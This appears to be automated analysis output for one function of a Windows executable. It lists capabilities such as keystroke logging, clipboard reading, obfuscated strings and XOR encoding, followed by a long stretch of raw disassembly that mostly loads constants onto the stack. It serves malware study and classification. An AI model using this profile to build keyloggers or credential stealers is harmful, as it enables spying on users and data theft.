Function at 0x1400563c0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Encrypt data using aes mixcolumns step
Get common file path
Get disk information
Get file attributes
Get file version info
Get geographical location
Get graphical window text
Get keyboard layout
Get thread local storage value
Log keystrokes via polling
Manipulate console buffer
Move file
Parse pe header
Query environment variable
Read clipboard data
Read file on windows
Resolve function by parsing pe exports
Set current directory
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2d768
call fcn.14023bb10
sub rsp, rax
mov dword [rsp + 0x2207c], 0xd5dbae7
mov dword [rsp + 0x16980], 0xb20e6565
mov byte [rsp + 0x2d10], 0x49
movabs rax, 0x789959234fdcbd19
mov qword [rsp + 0x16970], rax
movabs rax, 0x11f081e3c7e1b914
mov qword [rsp + 0x8940], rax
mov dword [rsp + 0x2200c], 0x8e7c405b
mov byte [rsp + 0x8914], 0x96
mov byte [rsp + 0x24a31], 0x13
mov byte [rsp + 0x24a30], 0xe8
mov eax, 0x7bb
mov word [rsp + 0x274e4], ax
movabs rax, 0x6853da396522cc73
mov qword [rsp + 0x2d1a8], rax
mov byte [rsp + 0x19758], 0x36
movabs rax, 0x1b1ef84ba313b0e3
mov qword [rsp + 0x1c350], rax
movabs rax, 0x80d34c0ae2b5eef
mov qword [rsp + 0x16880], rax
mov byte [rsp + 0x2a3a0], 0x6d
mov byte [rsp + 0x2d170], 0x6e
mov dword [rsp + 0x10e70], 0x7b753913
mov byte [rsp + 0x19730], 0xc0
mov eax, 0x6f9e
mov word [rsp + 0x1f210], ax
mov eax, 0x24c9
mov word [rsp + 0x2a328], ax
mov byte [rsp + 0x5748], 8
mov dword [rsp + 0xe210], 0xe906128f
mov dword [rsp + 0x8814], 0x2364f4d1
mov byte [rsp + 0x21ee0], 0xe2
mov byte [rsp + 0x2d0d1], 0x4a
mov eax, 0x45e7
mov word [rsp + 0xb52c], ax
mov eax, 0x486b
mov word [rsp + 0x196b8], ax
mov byte [rsp + 0x1f198], 6
mov dword [rsp + 0x167a0], 0x6769fc02
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1f170]
call fcn.140203330
mov byte [rsp + 0xb510], 0x38
movabs rax, 0x2d6fdb94a162cdf6
mov qword [rsp + 0x2d0a8], rax
mov eax, 0xaf9
mov word [rsp + 0x13a38], ax
mov dword [rsp + 0x1c2a8], 0xac4ac114
mov byte [rsp + 0x21e78], 0x62
mov dword [rsp + 0x16764], 0x5e541542
mov byte [rsp + 0x13a10], 0xc5
mov byte [rsp + 0x10da8], 0x59
mov dword [rsp + 0x16740], 0x65f2c940
movabs rax, 0x7fc2fc03126bf181
mov qword [rsp + 0x16730], rax
mov dword [rsp + 0xb4c8], 0x2fb95bda
mov byte [rsp + 0x24918], 0x1c
mov byte [rsp + 0x139e8], 2
movabs rax, 0x573cb8d82624fe11
mov qword [rsp + 0x2b40], rax
mov dword [rsp + 0x1ef38], 0x26f6c08d
movabs rax, 0xc50e239c61267a29
mov qword [rsp + 0x139e0], rax
mov dword [rsp + 0x21e1c], 0xb167399a
mov eax, 0x64f
mov word [rsp + 0x166c0], ax
movabs rax, 0x33132bdd754e34b9
mov qword [rsp + 0x13990], rax
mov eax, 0x5396
mov word [rsp + 0xe120], ax
mov dword [rsp + 0x8704], 0x51fdd93
movabs rax, 0x7ec179dc6f930d13
mov qword [rsp + 0x248a8], rax
mov byte [rsp + 0x195c9], 0xe1
movabs rax, 0xf361295a39a4eb3b
mov qword [rsp + 0x2a1e0], rax
movabs rax, 0x396cfe529e876a08
mov qword [rsp + 0x86e8], rax
movabs rax, 0xc74d8a655ee32155
mov qword [rsp + 0xb418], rax
movabs rax, 0x9edf2b08a280366
mov qword [rsp + 0xb410], rax
movabs rax, 0x79ff2d066da53a2e
mov qword [rsp + 0x1c1c8], rax
mov dword [rsp + 0x1eedc], 0x5ee0794f
mov byte [rsp + 0x1c1b8], 0x4a
movabs rax, 0x68049055dd548a40
mov qword [rsp + 0x16648], rax
mov byte [rsp + 0x13918], 0xe4
mov byte [rsp + 0x2cf80], 0x35
mov byte [rsp + 0x24878], 0x16
movabs rax, 0xd1c60695365ac189
mov qword [rsp + 0x1c1a8], rax
mov eax, 0x96f
mov word [rsp + 0x1ee98], ax
mov eax, 0x518
mov word [rsp + 0x1ee84], ax
mov byte [rsp + 0x138f8], 0xa1
mov byte [rsp + 0xb3e2], 0x3e
movabs rax, 0x67fef2b04427d8f2
mov qword [rsp + 0x138f0], rax
mov dword [rsp + 0x2485c], 0xecda0d5
mov eax, 0x531d
mov word [rsp + 0x272d0], ax
mov dword [rsp + 0xe090], 0x3e09644
mov byte [rsp + 0x24850], 0x5f
mov byte [rsp + 0x24839], 0xb3
mov eax, 0x7ea6
mov word [rsp + 0x1ee00], ax
movabs rax, 0x92f36c767932234a
mov qword [rsp + 0x19540], rax
movabs rax, 0x17292c2bf85f61d8
mov qword [rsp + 0x1ede8], rax
movabs rax, 0x51323cbdea8990a6
mov qword [rsp + 0x55b8], rax
mov byte [rsp + 0x13868], 0x3c
movabs rax, 0x65ed3c828e1df902
mov qword [rsp + 0x2a158], rax
movabs rax, 0x3d13bcba32941b9e
mov qword [rsp + 0x272a8], rax
movabs rax, 0x1b38c3cbab8ad3e1
mov qword [rsp + 0x21cc8], rax
mov dword [rsp + 0xe008], 0x70fe75d3
mov byte [rsp + 0x2ceb0], 0x74
mov byte [rsp + 0x21cc0], 0xd5
mov eax, 0x601
mov word [rsp + 0x2a100], ax
mov eax, 0x170
mov word [rsp + 0x13824], ax
movabs rax, 0xde522ac28bce0ea3
mov qword [rsp + 0x21c98], rax
mov byte [rsp + 0x2a08], 0x30
mov byte [rsp + 0xb319], 0x6b
mov byte [rsp + 0xb318], 0x71
mov dword [rsp + 0x29d0], 0xdba3477d
movabs rax, 0xa7bf1996d797951
mov qword [rsp + 0x19498], rax
movabs rax, 0x2d2ba04221412ab1
mov qword [rsp + 0xdf80], rax
mov dword [rsp + 0xdf78], 0x2eeeecf6
mov byte [rsp + 0x19490], 0x71
mov byte [rsp + 0x1ecb8], 0x3e
mov dword [rsp + 0xdf74], 0xdad89877
mov byte [rsp + 0x5500], 9
mov eax, 0x5f22
mov word [rsp + 0xdf10], ax
mov dword [rsp + 0x21bfc], 0x246e3fc
mov byte [rsp + 0x54b8], 0xed
mov eax, 0xd18
mov word [rsp + 0x8570], ax
mov byte [rsp + 0xdef8], 0x55
movabs rax, 0x578b49cc54c09463
mov qword [rsp + 0xdec0], rax
mov byte [rsp + 0xb220], 0x15
movabs rax, 0x1fd4e3a38fcab62
mov qword [rsp + 0xdeb8], rax
mov byte [rsp + 0x2cd78], 0x1b
mov dword [rsp + 0x1bfe0], 0x21958506
mov byte [rsp + 0x16464], 0x16
mov dword [rsp + 0xb208], 0x5fcc2f78
mov byte [rsp + 0x16448], 0xe4
mov dword [rsp + 0x2cd60], 0xae1cbc3
mov dword [rsp + 0x29ff0], 0xf10dd94e
mov byte [rsp + 0x8508], 0xcd
mov eax, 0xb61
mov word [rsp + 0x8504], ax
mov byte [rsp + 0x28d8], 0xfa
mov dword [rsp + 0x16428], 0xeaa8b38
mov dword [rsp + 0xb1f0], 0x272c1c42
mov dword [rsp + 0xb1e0], 0x2d642ebf
mov byte [rsp + 0x5418], 0x69
movabs rax, 0x3f3c612d06d3f052
mov qword [rsp + 0x19370], rax
mov dword [rsp + 0x16408], 0x321ccba9
mov byte [rsp + 0x21b88], 0x51
mov dword [rsp + 0x53e0], 0xaec8268c
mov dword [rsp + 0x19350], 0x6b640fc8
mov eax, 0x447
mov word [rsp + 0x163f0], ax
mov byte [rsp + 0xb160], 0x34
movabs rax, 0x63a3de333ec11ecc
mov qword [rsp + 0x21b68], rax
movabs rax, 0x283d5712b819a2e9
mov qword [rsp + 0x1eb68], rax
mov eax, 0x8ec
mov word [rsp + 0x2868], ax
movabs rax, 0x3657992267bb19be
mov qword [rsp + 0x8480], rax
mov byte [rsp + 0x245d4], 0x6e
mov byte [rsp + 0x19300], 0xbf
movabs rax, 0x254e41a20ed1cbb1
mov qword [rsp + 0x8478], rax
mov byte [rsp + 0x5398], 0x42
mov eax, 0xe18
mov word [rsp + 0xb100], ax
mov dword [rsp + 0xb0f0], 0xa3e69b47
mov dword [rsp + 0x13650], 0x146bb8f8
mov dword [rsp + 0x10a2c], 0x51d82609
mov eax, 0x31b9
mov word [rsp + 0x1eae8], ax
mov byte [rsp + 0x21ae0], 0x53
movabs rax, 0x5a0d7cb800944de5
mov qword [rsp + 0x21ad8], rax
mov byte [rsp + 0x192c8], 0x6c
movabs rax, 0x7fee02ea4449df12
mov qword [rsp + 0x2cc80], rax
mov dword [rsp + 0xddc8], 0x5eebb984
mov eax, 0x1cf
mov word [rsp + 0x16398], ax
mov dword [rsp + 0x21ac8], 0x9e4ca007
mov byte [rsp + 0x29ee5], 0x36
movabs rax, 0x21645906a6bb175f
mov qword [rsp + 0xb0c0], rax
mov eax, 0x90f
mov word [rsp + 0x1beb4], ax
mov byte [rsp + 0xb090], 0x45
movabs rax, 0xe0936d4cd549d3ac
mov qword [rsp + 0x27040], rax
mov byte [rsp + 0x1eab8], 0x35
mov dword [rsp + 0x109f0], 0x3ae1dd27
mov dword [rsp + 0x1eaa8], 0x1bacdb0e
movabs rax, 0x6c1f36cb5502be6e
mov qword [rsp + 0x2808], rax
mov byte [rsp + 0x19249], 1
movabs rax, 0x134b44ed508f5c23
mov qword [rsp + 0x2cc00], rax
mov byte [rsp + 0x27ec], 0xb9
mov eax, 0xcd0
mov word [rsp + 0x5300], ax
mov byte [rsp + 0x19208], 0x28
mov eax, 0x1513
mov word [rsp + 0x1ea50], ax
mov eax, 0xd97
mov word [rsp + 0xb020], ax
movabs rax, 0xa012901c61182900
mov qword [rsp + 0xb008], rax
movabs rax, 0xe0dd3981a35b296c
mov qword [rsp + 0x29e50], rax
movabs rax, 0x3aa62534a850eafd
mov qword [rsp + 0x52e0], rax
movabs rax, 0x29cd1af3c62d9db9
mov qword [rsp + 0x1ea30], rax
mov dword [rsp + 0x8360], 0x4d7608d1
mov dword [rsp + 0x10918], 0x10511936
movabs rax, 0xe1de0e143ef273ca
mov qword [rsp + 0x29e38], rax
mov byte [rsp + 0x2750], 0x64
mov eax, 0x8b6
mov word [rsp + 0x2740], ax
mov eax, 0x4928
mov word [rsp + 0x244cc], ax
movabs rax, 0x133e76dd26c2fab0
mov qword [rsp + 0xdcc0], rax
mov eax, 0x356e
mov word [rsp + 0x13528], ax
mov dword [rsp + 0xdcb0], 0xaad0497a
mov eax, 0x7005
mov word [rsp + 0x13508], ax
mov dword [rsp + 0x134c8], 0x8b9a3676
mov byte [rsp + 0x134a5], 0x5d
movabs rax, 0xb86e943d1de41a2c
mov qword [rsp + 0x26f38], rax
mov byte [rsp + 0x1bd64], 0x68
mov byte [rsp + 0x82a9], 6
movabs rax, 0x2694c1bbd5ae9ebf
mov qword [rsp + 0x21930], rax
mov eax, 0x5cca
mov word [rsp + 0x24428], ax
mov dword [rsp + 0x29d5c], 0x1852f12a
movabs rax, 0x827518c69b62d68f
mov qword [rsp + 0x16210], rax
mov dword [rsp + 0x1bd30], 0x9efdafdc
mov dword [rsp + 0x29d48], 0x3bc4b789
mov byte [rsp + 0x190b0], 0xd
mov dword [rsp + 0x26ee0], 0x99f55191
mov eax, 0x22e
mov word [rsp + 0x2680], ax
mov byte [rsp + 0x2ca98], 0x75
mov byte [rsp + 0xaec0], 0xe4
movabs rax, 0x98b89bd9c52bac74
mov qword [rsp + 0x5138], rax
mov eax, 0x7a8
mov word [rsp + 0x8218], ax
mov byte [rsp + 0x24383], 0x72
mov byte [rsp + 0x24382], 0x37
mov byte [rsp + 0x24381], 6
movabs rax, 0x5a6d847887b03040
mov qword [rsp + 0x13418], rax
mov dword [rsp + 0x107a0], 0xcbce67ce
mov dword [rsp + 0x2435c], 0x20f056ac
mov eax, 0x704a
mov word [rsp + 0x133d0], ax
movabs rax, 0x92a224b452fec3ea
mov qword [rsp + 0x26db0], rax
mov eax, 0xec
mov word [rsp + 0x16100], ax
mov eax, 0xc94
mov word [rsp + 0x10718], ax
movabs rax, 0x5e5e1e773b93e6dc
mov qword [rsp + 0x2590], rax
movabs rax, 0x5047993b107b6694
mov qword [rsp + 0xae08], rax
mov eax, 0x1461
mov word [rsp + 0xdadc], ax
mov byte [rsp + 0x5068], 0x41
mov dword [rsp + 0x1bbe0], 0x6ad07879
mov eax, 0x4c9
mov word [rsp + 0x242a8], ax
mov dword [rsp + 0x160b8], 0xa05862
mov byte [rsp + 0x16098], 4
movabs rax, 0xdc00caf45c695547
mov qword [rsp + 0x1e7d0], rax
mov dword [rsp + 0xdabc], 0xb1b94707
mov byte [rsp + 0x29bb8], 4
movabs rax, 0x83aa15abbe331291
mov qword [rsp + 0x8108], rax
mov dword [rsp + 0x80f8], 0x2f59374f
mov byte [rsp + 0x132a0], 3
mov eax, 0x4e9f
mov word [rsp + 0x106cc], ax
mov dword [rsp + 0x5000], 0xe6221ae
movabs rax, 0x8922a2fcf1ca164
mov qword [rsp + 0x21740], rax
mov byte [rsp + 0x4fd8], 0x87
movabs rax, 0x73083a1f81de040e
mov qword [rsp + 0x18e90], rax
mov byte [rsp + 0x24240], 5
movabs rax, 0xe0b99c1b6ba0875b
mov qword [rsp + 0x26c90], rax
mov byte [rsp + 0x10698], 0x41
mov byte [rsp + 0xad38], 0x2b
mov dword [rsp + 0xad14], 0x20a4d822
mov dword [rsp + 0x4f68], 0x446d084
movabs rax, 0x24acd8760d3fec9b
mov qword [rsp + 0x216c0], rax
mov eax, 0x3124
mov word [rsp + 0x241c8], ax
mov dword [rsp + 0x249c], 0x5425b92
mov byte [rsp + 0x18dfc], 0xb6
mov eax, 0x34d
mov word [rsp + 0x1e6f8], ax
mov dword [rsp + 0x24160], 0x14055e6
movabs rax, 0x5382dd6664948c23
mov qword [rsp + 0x1e6d0], rax
movabs rax, 0xe71bbb248d0b9976
mov qword [rsp + 0x29af8], rax
mov eax, 0x2d
mov word [rsp + 0x1bab0], ax
mov eax, 0x18a6
mov word [rsp + 0x1e6c8], ax
mov eax, 0x470d
mov word [rsp + 0x1e6bc], ax
movabs rax, 0x9d303cd7ac78f86
mov qword [rsp + 0x21658], rax
mov eax, 0x829
mov word [rsp + 0x21648], ax
mov byte [rsp + 0x29aa0], 0x45
movabs rax, 0xa6aeda0e440df244
mov qword [rsp + 0x2408], rax
mov byte [rsp + 0x1ba60], 0x15
mov eax, 0xed3
mov word [rsp + 0x2c7e8], ax
mov dword [rsp + 0x2380], 0x78a1a2d5
mov dword [rsp + 0x1b9fc], 0x4210ebb0
movabs rax, 0x32b74c78b178025e
mov qword [rsp + 0x2350], rax
mov eax, 0x664d
mov word [rsp + 0x1b9e0], ax
mov eax, 0xddb
mov word [rsp + 0x4e48], ax
mov dword [rsp + 0xd900], 0x46750154
mov dword [rsp + 0x1e608], 0x7996751c
mov dword [rsp + 0x10548], 0x8db4a98a
movabs rax, 0x1b6c318f36a319c3
mov qword [rsp + 0x1b9a8], rax
mov byte [rsp + 0x299c1], 0xe6
mov byte [rsp + 0xd8fc], 0x4c
mov eax, 0xa95
mov word [rsp + 0x2c780], ax
mov eax, 0xfe9
mov word [rsp + 0x15e38], ax
mov byte [rsp + 0x4e00], 6
movabs rax, 0x1bef06ed9d74bb51
mov qword [rsp + 0x1e598], rax
movabs rax, 0xfbba950618f8cf3
mov qword [rsp + 0xd8e0], rax
movabs rax, 0x9b8a79c124e73d2f
mov qword [rsp + 0xd8d8], rax
mov eax, 0x15d
mov word [rsp + 0x7eec], ax
movabs rax, 0x17827520d0a128c2
mov qword [rsp + 0x15e00], rax
movabs rax, 0xce87eb4e9c5b9c4d
mov qword [rsp + 0x22b0], rax
mov eax, 0xfe0
mov word [rsp + 0x1b930], ax
mov dword [rsp + 0x7ee4], 0xa78e97f1
mov eax, 0xeaf
mov word [rsp + 0x104d8], ax
mov dword [rsp + 0x29968], 0x1917a5ce
mov dword [rsp + 0xd8c0], 0x730b73e2
mov dword [rsp + 0x26aa0], 0x7d8d244c
mov eax, 0x9e3
mov word [rsp + 0x104a8], ax
mov byte [rsp + 0x4da0], 0x42
mov eax, 0x46a
mov word [rsp + 0x2c6c0], ax
movabs rax, 0x368b57093034f8c4
mov qword [rsp + 0x15dc0], rax
mov eax, 0x3da0
mov word [rsp + 0x4d70], ax
mov dword [rsp + 0xab38], 0x5cfb896d
movabs rax, 0x8ed54d22064030f6
mov qword [rsp + 0x1e510], rax
mov byte [rsp + 0x4d28], 0x5a
mov eax, 0x6417
mov word [rsp + 0x21418], ax
mov byte [rsp + 0x13008], 0x10
mov eax, 0x5974
mov word [rsp + 0x23ff0], ax
mov eax, 0xb1f
mov word [rsp + 0x23fe4], ax
mov dword [rsp + 0x7e04], 0x57c52153
movabs rax, 0x5dddd634a2368676
mov qword [rsp + 0x12ff0], rax
mov byte [rsp + 0x7de9], 0x78
movabs rax, 0x983e1c0227a0bb2f
mov qword [rsp + 0xd7c8], rax
mov dword [rsp + 0x12fcc], 0xc68ecd96
mov byte [rsp + 0x298ec], 0x82
mov byte [rsp + 0x4cb8], 0x49
movabs rax, 0x9a2a2d7a0d927521
mov qword [rsp + 0x23f88], rax
movabs rax, 0xb5057132c7c8f7dc
mov qword [rsp + 0x103f0], rax
mov eax, 0x2468
mov word [rsp + 0x1b860], ax
mov eax, 0x37e9
mov word [rsp + 0x2c5d0], ax
mov eax, 0xf87
mov word [rsp + 0x21e8], ax
mov byte [rsp + 0x4c68], 0xe3
movabs rax, 0x4ba1a8dd8ff35fd8
mov qword [rsp + 0x18b68], rax
mov dword [rsp + 0xaa8c], 0x312ee35e
movabs rax, 0x6b3bcd6bc743e020
mov qword [rsp + 0x269b0], rax
mov byte [rsp + 0x21320], 0x63
mov eax, 0xb75
mov word [rsp + 0x18b38], ax
mov eax, 0xd9a
mov word [rsp + 0x1e418], ax
mov eax, 0xe1a
mov word [rsp + 0x7d48], ax
mov byte [rsp + 0x2c570], 0xa
mov dword [rsp + 0x18b18], 0x7698b7ef
movabs rax, 0x4be409e0b7a74d0c
mov qword [rsp + 0xd6e8], rax
movabs rax, 0x33d988efb628d10
mov qword [rsp + 0x7d28], rax
mov byte [rsp + 0x1e3c8], 0x62
mov byte [rsp + 0xaa38], 0x13
mov eax, 0xe09
mov word [rsp + 0x297d8], ax
mov eax, 0x45a
mov word [rsp + 0x4bb4], ax
movabs rax, 0x363a18c75d4d11cc
mov qword [rsp + 0x7cd8], rax
mov dword [rsp + 0xd688], 0x3b1d8678
mov dword [rsp + 0x12eb0], 0x87e1be9d
mov eax, 0x7f04
mov word [rsp + 0x1b778], ax
movabs rax, 0xf138db84e4f847be
mov qword [rsp + 0x12ea8], rax
mov dword [rsp + 0x12ea0], 0xa7ee35d0
movabs rax, 0xaaaf878b7052144e
mov qword [rsp + 0x4b70], rax
mov byte [rsp + 0x1e378], 0x6f
mov byte [rsp + 0x15c34], 7
movabs rax, 0x336a616590ace571
mov qword [rsp + 0x26878], rax
mov dword [rsp + 0x1e368], 0x87f5e48b
movabs rax, 0x15b4434de51dca7f
mov qword [rsp + 0x2c4c0], rax
mov dword [rsp + 0x20c8], 0x1ee7eacf
mov eax, 0xfe
mov word [rsp + 0x23e90], ax
mov byte [rsp + 0x102e0], 0x7a
movabs rax, 0x57d6e5928dd374fe
mov qword [rsp + 0x23e88], rax
mov eax, 0x1f17
mov word [rsp + 0x1b708], ax
mov byte [rsp + 0x23e74], 0x67
mov dword [rsp + 0xa958], 0x2004f480
movabs rax, 0x4331aee47afc2b01
mov qword [rsp + 0x15ba8], rax
movabs rax, 0x99c146dad092b957
mov qword [rsp + 0xd5d0], rax
mov eax, 0x2d1
mov word [rsp + 0x2c430], ax
mov byte [rsp + 0x296f8], 0x3b
movabs rax, 0x72457b4cb1842036
mov qword [rsp + 0x1e2e0], rax
mov dword [rsp + 0xa8f8], 0x3db21bf6
movabs rax, 0x6dda638aecad5184
mov qword [rsp + 0x7bd8], rax
mov dword [rsp + 0x296e0], 0x2258f08b
movabs rax, 0x1fa61f5a367c284e
mov qword [rsp + 0x2c400], rax
movabs rax, 0xa2c40c78b253ef47
mov qword [rsp + 0x10180], rax
movabs rax, 0xda32a84e5e733dfb
mov qword [rsp + 0x23e30], rax
mov eax, 0x72f9
mov word [rsp + 0xa8c0], ax
mov dword [rsp + 0x296bc], 0x57168d1e
movabs rax, 0x709e302976e761ce
mov qword [rsp + 0x7bb8], rax
mov byte [rsp + 0x2c3e1], 0x25
mov byte [rsp + 0xa898], 0x74
mov byte [rsp + 0xd558], 0x49
mov byte [rsp + 0xa888], 0x72
mov dword [rsp + 0x21194], 0x9d3968d7
mov dword [rsp + 0x7ba0], 0xdbd6a5e9
movabs rax, 0x7053d3fa54e937fc
mov qword [rsp + 0x23df8], rax
mov dword [rsp + 0x4a40], 0x980c14b8
mov eax, 0x8d0
mov word [rsp + 0x29650], ax
mov byte [rsp + 0xa844], 0x45
mov dword [rsp + 0x21148], 0x3ed0f320
movabs rax, 0x1f4b10e81829f313
mov qword [rsp + 0x100e0], rax
mov dword [rsp + 0x15ad8], 0x9b135d5a
mov eax, 0x1923
mov word [rsp + 0x295c0], ax
mov byte [rsp + 0x1887c], 0xf8
mov byte [rsp + 0x1e230], 0x10
mov dword [rsp + 0x23d68], 0xc969b3b2
mov byte [rsp + 0x12d60], 4
mov eax, 0x3f5
mov word [rsp + 0x1f78], ax
movabs rax, 0x3ac91b1b21505fe6
mov qword [rsp + 0x23d58], rax
mov byte [rsp + 0x7b19], 0xad
movabs rax, 0x41ff500c15296c57
mov qword [rsp + 0x4990], rax
mov byte [rsp + 0x1006c], 0x91
mov byte [rsp + 0x12d31], 0x71
mov byte [rsp + 0x210a8], 0x50
movabs rax, 0xc8da38180b84690
mov qword [rsp + 0x1ef8], rax
mov dword [rsp + 0x23cfc], 0xbd37a27b
mov eax, 0x394
mov word [rsp + 0x187cc], ax
movabs rax, 0x7dded9e721c46648
mov qword [rsp + 0x1b588], rax
mov eax, 0x610
mov word [rsp + 0xd460], ax
mov dword [rsp + 0xa760], 0x8803372
mov byte [rsp + 0x2108c], 0x2f
mov eax, 0xdc9
mov word [rsp + 0x21088], ax
mov byte [rsp + 0x1e110], 0xcd
mov eax, 0x438c
mov word [rsp + 0x26690], ax
mov dword [rsp + 0xa738], 0x5e6ffde
movabs rax, 0x908d5591f90e0720
mov qword [rsp + 0xd420], rax
movabs rax, 0x2eb29d9a075f4c4a
mov qword [rsp + 0x294d0], rax
mov byte [rsp + 0x294c8], 0x3b
movabs rax, 0x202ac4ad3808e688
mov qword [rsp + 0x2c268], rax
mov eax, 0xca0
mov word [rsp + 0x1e0b4], ax
mov dword [rsp + 0x21018], 0x1b6bed80
mov dword [rsp + 0xff90], 0x3951de57
mov byte [rsp + 0xff88], 0x54
mov eax, 0xff8
mov word [rsp + 0x1e14], ax
mov byte [rsp + 0x2948c], 0x7b
mov byte [rsp + 0x2c1f8], 0xd0
mov byte [rsp + 0xa6e0], 0x59
movabs rax, 0x7bcc33a04c15e2d3
mov qword [rsp + 0x20fa8], rax
mov eax, 0xa1b
mov word [rsp + 0x26618], ax
mov dword [rsp + 0x1e054], 0x661ad259
mov byte [rsp + 0x15948], 5
mov byte [rsp + 0x7a00], 0x2e
mov dword [rsp + 0x29424], 0xb12162d1
mov dword [rsp + 0xa684], 0x311addd7
mov dword [rsp + 0x186f0], 0x39db72f2
mov eax, 0x797a
mov word [rsp + 0x1d88], ax
mov dword [rsp + 0x7980], 0xe91304e5
mov dword [rsp + 0x158f4], 0xc8965fee
mov dword [rsp + 0xd2b8], 0x263b32ff
mov dword [rsp + 0x158f0], 0x24aaf8fb
mov eax, 0x723e
mov word [rsp + 0x23b78], ax
mov byte [rsp + 0xa668], 0x64
mov byte [rsp + 0xd2b4], 0x56
movabs rax, 0x68b0b4e977d51d82
mov qword [rsp + 0x265a8], rax
movabs rax, 0x9fc1d1806a5e477c
mov qword [rsp + 0x23b70], rax
movabs rax, 0x7579ad51ebe3a694
mov qword [rsp + 0x1b428], rax
mov byte [rsp + 0x2c138], 0x2d
mov dword [rsp + 0x1b3f0], 0x18441b9f
mov dword [rsp + 0x47d0], 0xdb129446
mov byte [rsp + 0x47c0], 0x76
mov dword [rsp + 0x7910], 0x45ea66a2
mov byte [rsp + 0x26588], 0x79
movabs rax, 0x1afd621a1a29d6b6
mov qword [rsp + 0x47a8], rax
mov dword [rsp + 0x2c0f0], 0x20a930a4
movabs rax, 0x7ea79feb95145443
mov qword [rsp + 0x18640], rax
mov dword [rsp + 0x18638], 0xc59cf3cc
mov eax, 0x4636
mov word [rsp + 0x15820], ax
mov byte [rsp + 0x78a8], 0x63
movabs rax, 0x4ea38cbce67a31cc
mov qword [rsp + 0xfdd8], rax
mov dword [rsp + 0x78a0], 0x7a458ab9
mov dword [rsp + 0x185f0], 0x73650308
mov dword [rsp + 0xa570], 0x6a5e4797
movabs rax, 0x6c9ded57b561d17a
mov qword [rsp + 0x1c68], rax
mov byte [rsp + 0xfdc0], 0xb
mov eax, 0x2eef
mov word [rsp + 0x1c48], ax
mov eax, 0xf2e
mov word [rsp + 0x1c20], ax
mov byte [rsp + 0x7818], 0x71
mov byte [rsp + 0xa521], 0x14
movabs rax, 0xd62cc4fba7b4a382
mov qword [rsp + 0x18590], rax
mov eax, 0x28f
mov word [rsp + 0xfda0], ax
movabs rax, 0x738031cc8c452fa3
mov qword [rsp + 0x2c030], rax
mov byte [rsp + 0x2c018], 0x15
movabs rax, 0x697ae9ca635119a3
mov qword [rsp + 0x20d80], rax
movabs rax, 0xf856383425302f76
mov qword [rsp + 0x20d78], rax
mov byte [rsp + 0x1dec8], 0x9e
mov byte [rsp + 0x1dec0], 0x9d
mov byte [rsp + 0x26488], 0x47
mov byte [rsp + 0x12a3c], 0x30
movabs rax, 0x67f359220ef21385
mov qword [rsp + 0x15798], rax
mov byte [rsp + 0x18534], 0x2a
movabs rax, 0x3454c23a631d8bb9
mov qword [rsp + 0x2bfc8], rax
mov dword [rsp + 0x77d8], 0x27352b2c
mov dword [rsp + 0x29258], 0x5c79df59
mov dword [rsp + 0xa484], 0x67d0d653
movabs rax, 0xc463910327acd44e
mov qword [rsp + 0xd100], rax
mov eax, 0x426e
mov word [rsp + 0xa480], ax
mov eax, 0x7de8
mov word [rsp + 0x1de70], ax
mov dword [rsp + 0xd0e8], 0x344f2de
mov byte [rsp + 0x77a8], 0x63
movabs rax, 0xf4074e49d6186faf
mov qword [rsp + 0x2bf68], rax
mov eax, 0x603c
mov word [rsp + 0x1b40], ax
mov byte [rsp + 0x239a8], 0xf
mov eax, 0x16f1
mov word [rsp + 0x129a0], ax
movabs rax, 0x583a258d4157e5af
mov qword [rsp + 0x23980], rax
movabs rax, 0x5ccaffcdf1e39109
mov qword [rsp + 0x1b00], rax
mov byte [rsp + 0x26384], 0xfd
movabs rax, 0x3c6e96b21959019e
mov qword [rsp + 0xa3f0], rax
movabs rax, 0xe185dedf9f23e74f
mov qword [rsp + 0x156d8], rax
movabs rax, 0x7bb0a4c660fb203f
mov qword [rsp + 0x156d0], rax
mov byte [rsp + 0xa3b0], 0x99
movabs rax, 0x6b4df21705a519a0
mov qword [rsp + 0x23938], rax
mov byte [rsp + 0x1b178], 0x6f
mov dword [rsp + 0x18420], 0x54325bb7
mov eax, 0xb95
mov word [rsp + 0x29020], ax
movabs rax, 0x412b3831fa3ad022
mov qword [rsp + 0x20c10], rax
mov byte [rsp + 0x20c08], 0x81
mov eax, 0x2cf
mov word [rsp + 0x2630c], ax
mov byte [rsp + 0xfc30], 0xdf
movabs rax, 0x6a59119505dbad64
mov qword [rsp + 0x1b140], rax
mov eax, 0x7b2
mov word [rsp + 0x183a8], ax
mov eax, 0x8cc
mov word [rsp + 0x23900], ax
movabs rax, 0x564a54679cda6e0
mov qword [rsp + 0x20bd0], rax
mov dword [rsp + 0x451c], 0x57f84e02
mov dword [rsp + 0x127c0], 0xab976270
mov eax, 0x222b
mov word [rsp + 0xa330], ax
mov dword [rsp + 0x127b4], 0x7201be09
mov dword [rsp + 0x18360], 0x27c25042
mov dword [rsp + 0x18340], 0x17be0880
mov byte [rsp + 0x15628], 0x62
mov dword [rsp + 0x20bb0], 0xddfa9473
mov byte [rsp + 0x15618], 0x73
mov eax, 0x15b
mov word [rsp + 0x262b8], ax
mov byte [rsp + 0xcf89], 0x50
mov dword [rsp + 0x28f50], 0xed034ae
movabs rax, 0x4b740f1f96385193
mov qword [rsp + 0xcf60], rax
mov byte [rsp + 0x26288], 8
mov eax, 0x2413
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0xfb5c], 0x28ac8d90
mov dword [rsp + 0x2bda0], 0x458568d8
mov byte [rsp + 0x4450], 0x1b
mov dword [rsp + 0x23848], 0x46222010
mov eax, 0xe7
mov word [rsp + 0x155c0], ax
movabs rax, 0x75940f293c86fd9
mov qword [rsp + 0xa248], rax
mov byte [rsp + 0x23810], 0xb
movabs rax, 0x644573848b0d8632
mov qword [rsp + 0x19b8], rax
mov dword [rsp + 0x28eb8], 0xa8848ea
mov eax, 0x36a2
mov word [rsp + 0xfb34], ax
mov dword [rsp + 0x1825c], 0x351cc2b4
mov byte [rsp + 0x15598], 0x49
mov dword [rsp + 0xcf10], 0x700f6d39
mov byte [rsp + 0x28e90], 0x25
mov dword [rsp + 0x28e8c], 0xc5a83c6
movabs rax, 0x776764e26fd9f96e
mov qword [rsp + 0x1988], rax
